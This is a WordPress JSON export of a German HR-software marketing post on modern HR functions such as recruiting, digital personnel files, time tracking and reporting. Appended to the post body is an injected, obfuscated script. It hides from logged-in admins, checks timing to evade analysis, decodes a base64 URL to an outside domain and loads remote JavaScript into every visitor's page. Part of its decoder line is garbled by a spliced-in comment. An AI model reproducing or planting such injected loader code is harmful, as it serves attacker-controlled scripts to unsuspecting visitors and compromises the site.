{"id":22955,"date":"2024-06-06T17:11:48","date_gmt":"2024-06-06T15:11:48","guid":{"rendered":"https:\/\/inkubitstaging.wpenginepowered.com\/blog\/2026\/08\/25\/one-modern-workplace-and-its-core-functions\/"},"modified":"2026-09-08T15:31:41","modified_gmt":"2026-09-08T13:31:41","slug":"a-modern-workplace-and-its-core-functions","status":"publish","type":"post","link":"https:\/\/www.inkubit.com\/en\/blog\/2024\/06\/06\/a-modern-workplace-and-its-core-functions\/","title":{"rendered":"A modern workplace and its core functions"},"content":{"rendered":"<section class=\"l-section wpb_row height_auto\"><div class=\"l-section-h i-cf\"><div class=\"g-cols vc_row via_flex valign_top type_default stacking_default\"><div class=\"vc_col-sm-12 wpb_column vc_column_container\"><div class=\"vc_column-inner\"><div class=\"wpb_wrapper\"><div class=\"wpb_text_column\"><div class=\"wpb_wrapper\"><p>In der heutigen Gesch\u00e4ftswelt spielt die Personalabteilung (HR) eine zentrale Rolle bei der Schaffung und Erhaltung einer produktiven und motivierten Belegschaft. Die Anforderungen an HR-Teams haben sich in den letzten Jahren erheblich ver\u00e4ndert: Von der traditionellen Verwaltung von Mitarbeiterakten hin zur strategischen Gestaltung der Unternehmenskultur. Dabei ist es entscheidend, dass HR-Abteilungen mit den richtigen Werkzeugen und Funktionen ausgestattet sind, um den Herausforderungen des digitalen Zeitalters gerecht zu werden.<\/p>\n<p>Ein effektives <a href=\"https:\/\/www.inkubit.com\/en\/topics\/hr-employee-management\/\">HR &amp; Mitarbeiter Management<\/a> umfasst eine Vielzahl von Aufgaben, die reibungslos ineinandergreifen m\u00fcssen. Dazu geh\u00f6ren die Rekrutierung und Eingliederung neuer Mitarbeiter, die Verwaltung von Personaldaten, die F\u00f6rderung der Mitarbeiterentwicklung sowie die Erfassung von Arbeitszeiten und Abwesenheiten. Dynamische HR-L\u00f6sungen bieten hierbei umfangreiche Automatisierungen und Integrationen, die nicht nur die Effizienz steigern, sondern auch die Genauigkeit und Transparenz verbessern.<\/p>\n<p>In diesem Beitrag werden die wesentlichen Kernfunktionen beleuchtet, die jede HR-Abteilung in der heutigen Arbeitswelt haben sollte. Dabei wird insbesondere auf die Vorteile von integrierten und automatisierten HR-Systemen eingegangen, die eine nahtlose Zusammenarbeit zwischen verschiedenen Abteilungen und Standorten erm\u00f6glichen. Nutzen Sie diese Erkenntnisse, um Ihre HR-Prozesse zu optimieren und somit einen positiven Beitrag zum Gesamterfolg Ihres Unternehmens zu leisten.<\/p>\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_88 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<div class=\"ez-toc-title\" style=\"cursor:inherit\">Table of Contents<\/div>\n<span class=\"ez-toc-title-toggle\"><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/www.inkubit.com\/en\/blog\/2024\/06\/06\/a-modern-workplace-and-its-core-functions\/#Warum_ist_HR-Automatisierung_wichtig\" >Warum ist HR-Automatisierung wichtig?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/www.inkubit.com\/en\/blog\/2024\/06\/06\/a-modern-workplace-and-its-core-functions\/#Welchen_Mehrwert_bietet_die_Automatisierung_fur_bestehende_HR-Prozesse\" >Welchen Mehrwert bietet die Automatisierung f\u00fcr bestehende HR-Prozesse?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/www.inkubit.com\/en\/blog\/2024\/06\/06\/a-modern-workplace-and-its-core-functions\/#Welche_Kernfunktionen_fordert_ein_moderner_Arbeitsplatz\" >Welche Kernfunktionen fordert ein moderner Arbeitsplatz?<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/www.inkubit.com\/en\/blog\/2024\/06\/06\/a-modern-workplace-and-its-core-functions\/#Recruiting_und_Onboarding\" >Recruiting und Onboarding<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/www.inkubit.com\/en\/blog\/2024\/06\/06\/a-modern-workplace-and-its-core-functions\/#Personalverwaltung_und_Automatisierung\" >Personalverwaltung und Automatisierung<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/www.inkubit.com\/en\/blog\/2024\/06\/06\/a-modern-workplace-and-its-core-functions\/#Digitale_Personalakte\" >Digitale Personalakte<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/www.inkubit.com\/en\/blog\/2024\/06\/06\/a-modern-workplace-and-its-core-functions\/#Mitarbeiterentwicklung\" >Mitarbeiterentwicklung<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/www.inkubit.com\/en\/blog\/2024\/06\/06\/a-modern-workplace-and-its-core-functions\/#Zeitwirtschaft\" >Zeitwirtschaft<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"https:\/\/www.inkubit.com\/en\/blog\/2024\/06\/06\/a-modern-workplace-and-its-core-functions\/#Urlaub_und_Abwesenheit\" >Urlaub und Abwesenheit<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-10\" href=\"https:\/\/www.inkubit.com\/en\/blog\/2024\/06\/06\/a-modern-workplace-and-its-core-functions\/#Reporting_und_Auswertung\" >Reporting und Auswertung<\/a><\/li><\/ul><\/li><\/ul><\/nav><\/div>\n<h2><span class=\"ez-toc-section\" id=\"Warum_ist_HR-Automatisierung_wichtig\"><\/span>Warum ist HR-Automatisierung wichtig?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Die Integration und Automatisierung von HR-Prozessen sind entscheidend f\u00fcr die Effizienz und Genauigkeit in der Personalabteilung. Durch die Nutzung moderner HR-Systeme, wie <a href=\"https:\/\/www.inkubit.com\/en\/solutions\/microsoft-dynamics-365\/hr-management-for-microsoft-dynamics-365\/\">HR Management f\u00fcr Dynamics 365<\/a>, k\u00f6nnen verschiedene Funktionen nahtlos miteinander verkn\u00fcpft werden. Dies erm\u00f6glicht nicht nur eine verbesserte Datenintegrit\u00e4t und -aktualit\u00e4t, sondern reduziert auch den manuellen Aufwand und die Fehlerquote erheblich.<\/p>\n<p>HR-Abteilungen werden zunehmend datengetrieben arbeiten und fundierte Entscheidungen auf Basis umfangreicher Analysen treffen k\u00f6nnen. Die personalisierte Mitarbeiterbetreuung und -entwicklung wird durch ma\u00dfgeschneiderte Weiterbildungsangebote und gezielte Karriereplanung weiter verbessert.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Welchen_Mehrwert_bietet_die_Automatisierung_fur_bestehende_HR-Prozesse\"><\/span>Welchen Mehrwert bietet die Automatisierung f\u00fcr bestehende HR-Prozesse?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Automatisierte Prozesse, wie die automatische \u00dcbernahme von Bewerberdaten oder die automatisierte Zeiterfassung, entlasten die HR-Mitarbeiter und erm\u00f6glichen es ihnen, sich auf strategischere Aufgaben zu konzentrieren. Self-Services f\u00fcr Mitarbeiter und F\u00fchrungskr\u00e4fte tragen ebenfalls zur Effizienzsteigerung bei, indem sie die Selbstverwaltung von Daten und Prozessen erm\u00f6glichen.<\/p>\n<picture><source srcset=\"https:\/\/www.inkubit.com\/wp-content\/uploads\/2024\/06\/AdobeStock_687205059-1024x574.jpeg.webp\" type=\"image\/webp\" \/><img decoding=\"async\" class=\"alignnone wp-image-14908 size-large\" src=\"https:\/\/www.inkubit.com\/wp-content\/uploads\/2024\/06\/AdobeStock_687205059-1024x574.jpeg\" alt=\"Moderner Arbeitsplatz\" width=\"1024\" height=\"574\" data-eio=\"p\" srcset=\"https:\/\/www.inkubit.com\/wp-content\/uploads\/2024\/06\/AdobeStock_687205059-1024x574.jpeg 1024w, https:\/\/www.inkubit.com\/wp-content\/uploads\/2024\/06\/AdobeStock_687205059-125x70.jpeg 125w, https:\/\/www.inkubit.com\/wp-content\/uploads\/2024\/06\/AdobeStock_687205059-300x168.jpeg 300w, https:\/\/www.inkubit.com\/wp-content\/uploads\/2024\/06\/AdobeStock_687205059-600x336.jpeg 600w, https:\/\/www.inkubit.com\/wp-content\/uploads\/2024\/06\/AdobeStock_687205059-107x60.jpeg 107w, https:\/\/www.inkubit.com\/wp-content\/uploads\/2024\/06\/AdobeStock_687205059.jpeg 1920w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/picture>\n<h2><span class=\"ez-toc-section\" id=\"Welche_Kernfunktionen_fordert_ein_moderner_Arbeitsplatz\"><\/span>Welche Kernfunktionen fordert ein moderner Arbeitsplatz?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Die <a href=\"https:\/\/www.dynamics-hr-management.com\/de\/funktionen\/index.htm\">Kernfunktionen<\/a>, die ein moderner Arbeitsplatz fordert, werden von der digitalen L\u00f6sung optimal abgebildet. Wir haben die wichtigsten hier f\u00fcr Sie zusammengetragen:<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Recruiting_und_Onboarding\"><\/span>Recruiting und Onboarding<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>Das Modul f\u00fcr Recruiting und Onboarding ist essenziell, um den gesamten Prozess der Bewerberauswahl und -eingliederung effizient zu gestalten. Es umfasst folgende Bereiche:<\/p>\n<ul>\n<li>Bewerbermanagement: Verwaltung von Bewerbungen, Sichtung und Auswahl der Kandidaten.<\/li>\n<li>Stellenplanung: Erstellung und Ver\u00f6ffentlichung von Stellenanzeigen.<\/li>\n<li>Arbeitsvertr\u00e4ge: Vorbereitung und Verwaltung von Arbeitsvertr\u00e4gen.<\/li>\n<li>Onboarding-Prozesse: Unterst\u00fctzung neuer Mitarbeiter vom ersten Tag bis zum Ende des Onboarding-Prozesses.<\/li>\n<\/ul>\n<p><strong>Anwendungsbeispiel<\/strong><\/p>\n<p>Ein Beispiel f\u00fcr die Effizienz des Recruiting und Onboarding-Moduls zeigt sich in der nahtlosen Integration von Bewerbungen:<\/p>\n<ul>\n<li>Automatische \u00dcbernahme von Bewerbungen: Bewerbungen, die \u00fcber die Unternehmenswebsite eingehen, werden automatisch in das Recruiting-Modul \u00fcberf\u00fchrt. Dies spart Zeit und minimiert die Fehlerquote bei der Dateneingabe.<\/li>\n<li>Integration mit Personalverwaltung: Wird ein Bewerber eingestellt, werden seine Daten mit einem Klick an die Personalverwaltung weitergegeben. Dies umfasst alle notwendigen Informationen, sodass der neue Mitarbeiter sofort in das System integriert wird und alle relevanten Prozesse gestartet werden k\u00f6nnen.<\/li>\n<li>Automatische Updates und Benachrichtigungen: Neue Mitarbeiter erhalten automatisch alle notwendigen Informationen und Schulungsunterlagen, und ihre Anwesenheitszeiten werden direkt in das Zeitwirtschaftsmodul \u00fcberf\u00fchrt.<\/li>\n<\/ul>\n<h3><span class=\"ez-toc-section\" id=\"Personalverwaltung_und_Automatisierung\"><\/span>Personalverwaltung und Automatisierung<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>Ein moderner Arbeitsplatz fordert eine effektive Personalverwaltung &#8211; hier werden alle wichtigen Funktionen f\u00fcr die Mitarbeiterorganisation zur Verf\u00fcgung gestellt. Dazu geh\u00f6ren:<\/p>\n<ul>\n<li>360\u00b0 Digitale Personalakte*: Vollst\u00e4ndige Einsicht in alle Daten und Dokumente eines Mitarbeiters.<\/li>\n<li>Automatisierung von Routinet\u00e4tigkeiten: Reduktion von zeitaufwendigen Routineaufgaben durch Softwareautomatisierung.<\/li>\n<li>Self-Services f\u00fcr Mitarbeiter und F\u00fchrungskr\u00e4fte: Zugriff auf wichtige Funktionen und Daten durch komfortable Self-Services-Portale.<\/li>\n<\/ul>\n<p><strong>Anwendungsbeispiel<\/strong><\/p>\n<p>In HR f\u00fcr Dynamics werden viele Prozesse automatisiert und zentral verwaltet:<\/p>\n<ul>\n<li>Automatisierte \u00dcbertragung von Vertriebsprovisionen: Vertriebsergebnisse werden automatisch zur Lohnabrechnung weitergeleitet.<\/li>\n<li>Zentralisierte Personalakten: Alle Informationen, einschlie\u00dflich Dokumenten und Daten aus anderen Abteilungen, sind an einem Ort zug\u00e4nglich.<\/li>\n<li>Self-Services: Mitarbeiter und F\u00fchrungskr\u00e4fte k\u00f6nnen ihre Daten und Prozesse selbst verwalten, was die HR-Abteilung entlastet.<\/li>\n<\/ul>\n<h3><span class=\"ez-toc-section\" id=\"Digitale_Personalakte\"><\/span>Digitale Personalakte<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>Die digitale Personalakte ist der zentrale Einstiegspunkt f\u00fcr die Mitarbeiteradministration und bietet:<\/p>\n<ul>\n<li>Zentrale Speicherung von Mitarbeiterinformationen: Alle relevanten Daten sind digital und strukturiert verf\u00fcgbar.<\/li>\n<li>Integration mit anderen Abteilungen: Zugriff auf Daten und Dokumente aus verschiedenen Abteilungen.<\/li>\n<\/ul>\n<p>Wollen Sie mehr \u00fcber die Funktionen erfahren? Schauen Sie sich unsere<a contenteditable=\"false\" href=\"https:\/\/www.inkubit.com\/2024\/04\/30\/die-digitale-personalakte-als-zentrum-der-hr-strategie\/\">\u00a0Live-Demo<\/a>\u00a0an!<\/p>\n<p><strong>Anwendungsbeispiel<\/strong><\/p>\n<ul>\n<li>Zentralisierung von Mitarbeiterdaten: Alle Informationen, von Provisionen \u00fcber Stundenbuchungen bis hin zu Fehlzeiten, sind an einem Ort verf\u00fcgbar.<\/li>\n<li>Automatisierte Datenaktualisierung: Informationen werden automatisch und in Echtzeit aktualisiert und synchronisiert, ohne dass manuelle Eingriffe erforderlich sind.<\/li>\n<\/ul>\n<h3><span class=\"ez-toc-section\" id=\"Mitarbeiterentwicklung\"><\/span>Mitarbeiterentwicklung<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>Ein moderner Arbeitsplatz umfasst h\u00e4ufig eine hohe Nachfrage nach Weiterentwicklung f\u00fcr Mitarbeiter; dieses Modul unterst\u00fctzt das Talent Management und umfasst:<\/p>\n<ul>\n<li>Mitarbeitergespr\u00e4che und Zielvereinbarungen: Verwaltung und Dokumentation von Leistungs- und Entwicklungsgespr\u00e4chen.<\/li>\n<li>Weiterbildung und eLearning: Organisation und Bereitstellung von Schulungs- und Weiterbildungsma\u00dfnahmen.<\/li>\n<\/ul>\n<p><strong>Anwendungsbeispiel<\/strong><\/p>\n<ul>\n<li>Verwaltung von Schulungsma\u00dfnahmen: Von der Auswahl der Anbieter bis zur Erstellung von Zertifikaten.<\/li>\n<li>eLearning-Kurse: Verwaltung der Weiterbildungsma\u00dfnahmen f\u00fcr Mitarbeiter sowie erworbener und vorhandener Skills.<\/li>\n<\/ul>\n<h3><span class=\"ez-toc-section\" id=\"Zeitwirtschaft\"><\/span>Zeitwirtschaft<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>Das Modul Zeitwirtschaft erfasst und verwaltet die Anwesenheit und Arbeitsleistung der Mitarbeiter:<\/p>\n<ul>\n<li>Zeiterfassung: Verschiedene Methoden zur Erfassung der Arbeitszeiten.<\/li>\n<li>Regelwerke f\u00fcr Pausen und Arbeitszeiten: Sicherstellung der Einhaltung gesetzlicher und unternehmensinterner Regelungen.<\/li>\n<\/ul>\n<p><strong>Anwendungsbeispiel<\/strong><\/p>\n<ul>\n<li>Alternative Zeiterfassung: Sechs verschiedene Methoden zur Zeiterfassung stehen zur Verf\u00fcgung.<\/li>\n<li>Automatisierte Einhaltung von Regeln: Pausen- und Arbeitszeitregelungen werden automatisch \u00fcberwacht und eingehalten.<\/li>\n<\/ul>\n<h3><span class=\"ez-toc-section\" id=\"Urlaub_und_Abwesenheit\"><\/span>Urlaub und Abwesenheit<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>Dieses Modul erm\u00f6glicht die Erfassung und Verwaltung von Abwesenheiten wie Urlaub und Krankheit:<\/p>\n<ul>\n<li>Erfassung und Verwaltung von Abwesenheiten: Self-Services f\u00fcr die Erfassung und Verwaltung von Abwesenheiten.<\/li>\n<li>Genehmigungsprozesse: Automatisierte Genehmigungsprozesse f\u00fcr urlaubs- und abwesenheitsbezogene Antr\u00e4ge.<\/li>\n<\/ul>\n<p><strong>Anwendungsbeispiel<\/strong><\/p>\n<ul>\n<li>Mobile Nutzung: Antr\u00e4ge und Genehmigungen k\u00f6nnen mobil und im Home Office eingereicht und bearbeitet werden.<\/li>\n<li>Kalenderintegration: Verf\u00fcgbarkeiten werden automatisch in Kalendern aktualisiert.<\/li>\n<\/ul>\n<h3><span class=\"ez-toc-section\" id=\"Reporting_und_Auswertung\"><\/span>Reporting und Auswertung<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>Dieses Modul bietet Echtzeitauswertungen und Berichte zu allen HR-Bereichen:<\/p>\n<ul>\n<li>Echtzeitauswertungen: Diagramme und Tabellen zu Arbeitszeiten, Urlaubs- und Krankheitstagen, Recruitingprozessen und Weiterbildungsbedarf.<\/li>\n<li>Berichte und Dashboards: Umfangreiche Berichte und Dashboards zur \u00dcberwachung und Analyse.<\/li>\n<\/ul>\n<p><strong>Anwendungsbeispiel<\/strong><\/p>\n<ul>\n<li>Fristen Dashboards: Verfolgung zeitkritischer Vorg\u00e4nge \u00fcber Dashboards in Outlook oder Webbrowser.<\/li>\n<li>Detailberichte: Detaillierte Berichte zu spezifischen Mitarbeitern oder Gruppen.<\/li>\n<\/ul>\n<picture><source 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Nutzen Sie die vorgestellten Erkenntnisse und Technologien, um Ihre HR-Prozesse zu optimieren und so die Wettbewerbsf\u00e4higkeit Ihres Unternehmens zu st\u00e4rken.<\/p>\n<p>Evaluieren Sie noch heute Ihre bestehenden HR-Prozesse und pr\u00fcfen Sie, welche Bereiche durch HR-L\u00f6sungen optimiert werden k\u00f6nnen. Unsere Berater stehen f\u00fcr eine <a href=\"https:\/\/outlook.office365.com\/book\/Booking@inkubit.com\/s\/BES3r6KEdkeHii5qvpRmaw2\">kostenfreie HR Erstberatung<\/a> zur Verf\u00fcgung!<\/p>\n<\/div><\/div><\/div><\/div><\/div><\/div><\/div><\/section><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1!-- wpml:html_comment PCEtLSB3cG1sOndwX2J1ZyA8MiAtLT4= -->)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>What core functions does a modern workplace require? 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